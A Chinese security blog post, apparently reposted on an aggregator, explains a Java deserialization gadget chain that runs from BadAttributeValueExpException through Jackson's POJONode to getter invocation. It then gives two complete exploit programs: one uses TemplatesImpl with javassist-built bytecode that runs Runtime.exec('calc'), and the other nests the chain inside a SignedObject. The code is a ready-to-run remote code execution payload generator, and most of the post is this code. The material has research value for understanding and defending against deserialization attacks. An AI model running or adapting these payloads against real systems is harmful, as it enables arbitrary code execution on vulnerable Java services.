当前位置: 首页 > news >正文

【Web】浅聊Jackson序列化getter的利用——POJONode

目录

核心速览

原理分析

EXP

TemplatesImpl利用

SignedObject利用


核心速览

writeValueAsString是jackson序列化自带的入口,在调用该方法的过程中将会通过遍历的方法将bean对象中的所有的属性的getter方法进行调用

下面介绍如下利用链:

BadAttributeValueExpException.toString -> POJONode -> jackson反序列化->getter 

原理分析

POJONode​继承ValueNode​,ValueNode​继承BaseJsonNode

BaseJsonNode有一个writeReplace方法

writeReplace 方法是 Java 中的一个特殊方法,它在序列化过程中起着重要作用。当对象被序列化时,Java 虚拟机会自动调用 writeReplace 方法(如果存在),并用其返回的对象来替换原始对象。这个方法的主要作用是允许开发者在序列化过程中控制对象的替换行为。

具体来说,writeReplace 方法通常用于以下情况:

  1. 对象替换: 可以通过 writeReplace 方法返回另一个对象来替换原始对象进行序列化。这样可以隐藏原始对象的实际类型或状态,或者返回单例对象等。
  2. 序列化代理: 通过返回另一个对象,可以将序列化的责任委托给另一个对象来完成序列化过程,从而更灵活地控制对象的序列化方式。

这是我们不希望看到的,所以要在当前classpath下创建个新的BaseJsonNode,并将原来的writeReplace方法删除或注释掉,如此便能正常完成利用链相关调用。

POJONode中不存在有toString方法的实现,在其父类的父类BaseJsonNode中存在有

跟进InternalNodeMapper.nodeToString,看到调用jackson反序列化自带的入口writeValueAsString

之后便会调用入参bean的getter方法,打法有很多

EXP

TemplatesImpl利用

package org.jackson;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;public class EXP {public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());ctClass.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);constructor.setBody("Runtime.getRuntime().exec(\"calc\");");ctClass.addConstructor(constructor);byte[] bytes = ctClass.toBytecode();Templates templatesImpl = new TemplatesImpl();setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});setFieldValue(templatesImpl, "_name", "xxx");setFieldValue(templatesImpl, "_tfactory", null);POJONode jsonNodes = new POJONode(templatesImpl);BadAttributeValueExpException exp = new BadAttributeValueExpException(null);Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(exp,jsonNodes);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);objectOutputStream.writeObject(exp);FileOutputStream fout=new FileOutputStream("1.ser");fout.write(barr.toByteArray());fout.close();FileInputStream fileInputStream = new FileInputStream("1.ser");System.out.println(serial(exp));deserial(serial(exp));}public static String serial(Object o) throws IOException, NoSuchFieldException {ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(o);oos.close();String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());return base64String;}public static void deserial(String data) throws Exception {byte[] base64decodedBytes = Base64.getDecoder().decode(data);ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);ObjectInputStream ois = new ObjectInputStream(bais);ois.readObject();ois.close();}private static void setFieldValue(Object obj, String field, Object arg) throws Exception{Field f = obj.getClass().getDeclaredField(field);f.setAccessible(true);f.set(obj, arg);}
}

SignedObject利用

package org.jackson;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;public class EXP2 {public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());ctClass.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);constructor.setBody("Runtime.getRuntime().exec(\"calc\");");ctClass.addConstructor(constructor);byte[] bytes = ctClass.toBytecode();TemplatesImpl templatesImpl = new TemplatesImpl();setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});setFieldValue(templatesImpl, "_name", "fakes0u1");setFieldValue(templatesImpl, "_tfactory", null);POJONode jsonNodes2 = new POJONode(templatesImpl);BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val2.setAccessible(true);val2.set(exp2,jsonNodes2);KeyPairGenerator keyPairGenerator;keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine);POJONode jsonNodes = new POJONode(signedObject);BadAttributeValueExpException exp = new BadAttributeValueExpException(null);Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(exp,jsonNodes);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);objectOutputStream.writeObject(exp);FileOutputStream fout=new FileOutputStream("1.ser");fout.write(barr.toByteArray());fout.close();FileInputStream fileInputStream = new FileInputStream("1.ser");System.out.println(serial(exp));deserial(serial(exp));}public static String serial(Object o) throws IOException, NoSuchFieldException {ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(o);oos.close();String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());return base64String;}public static void deserial(String data) throws Exception {byte[] base64decodedBytes = Base64.getDecoder().decode(data);ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);ObjectInputStream ois = new ObjectInputStream(bais);ois.readObject();ois.close();}private static void setFieldValue(Object obj, String field, Object arg) throws Exception{Field f = obj.getClass().getDeclaredField(field);f.setAccessible(true);f.set(obj, arg);}
}
http://www.lryc.cn/news/322855.html

相关文章:

  • osgEarth学习笔记2-第一个Osg QT程序
  • 2024年发布jar到国外maven中央仓库最新教程
  • 在ubuntu22.04.4安装freeswitch1.10.10
  • qt 置顶窗口崩溃无法退出解决,停止运行快捷键设置
  • HBCalculator 程序:通过 VMD 可计算分子动力学模拟中氢键密度和强度的一维和二维分布
  • 鸿蒙-项目创建及了解
  • SQLiteC/C++接口详细介绍sqlite3_stmt类(九)
  • idea2023 运行多 springboot 实例
  • HarmonyOS系统开发ArkTS常用组件编程技巧
  • 大数据开发(Hive面试真题-卷三)
  • Oracle数据库SQL开发规范
  • FreeRTOS 消息队列
  • 如何在Python中实现列表推导式?并给出一个例子
  • Flask中的Blueprints:模块化和组织大型Web应用【第142篇—Web应用】
  • 如何通过idea搭建一个SpringBoot的Web项目(最基础版)
  • Python和FastAPI语义分析和文本图像
  • centos系统ssh7.4升级9.6
  • excel所有知识点
  • 显卡基础知识及元器件原理分析
  • Spark Rebalance hint的倾斜的处理(OptimizeSkewInRebalancePartitions)
  • Vue 3中实现基于角色的权限认证实现思路
  • Visual Studio 2022进行文件差异比较
  • 1.2 编译型语言和解释型语言的区别
  • C语言-常量
  • 开源的OCR工具基本使用:PaddleOCR/Tesseract/CnOCR
  • vue3实现输入框短信验证码功能---全网始祖
  • [C#]winformYOLO区域检测任意形状区域绘制射线算法实现
  • 个人网站制作 Part 14 添加网站分析工具 | Web开发项目
  • 数据按设定单位(分辨率)划分的方法
  • Ubuntu 搭建gitlab服务器,及使用repo管理